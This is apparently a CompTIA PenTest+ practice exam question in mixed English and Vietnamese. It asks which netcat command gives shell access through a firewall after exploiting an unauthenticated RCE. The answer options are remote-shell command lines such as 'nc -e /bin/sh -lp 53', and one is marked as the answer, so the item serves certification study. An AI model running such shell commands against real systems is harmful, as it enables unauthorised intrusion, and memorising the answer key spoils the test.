Câu 76: PT0-003: CompTIA PenTest+

A penetration tester finds an un authenticated RCE vulnerability on a web server and wants to use it to enumerate other servers on the local network. The web server is behind a firewall that allows only an incoming connection to TCP ports 443 and 53 and unrestricted outbound TCP connections. The target web server is https://target.comptia.org. Which of the following should the tester use to perform the task with the fewest web requests?

1. A. nc -e /bin/sh -lp 53 — đáp án hiện tại
2. B. /bin/sh -c 'nc -l -p 443'
3. C. nc -e /bin/sh 53
4. D. /bin/sh -c 'nc 443'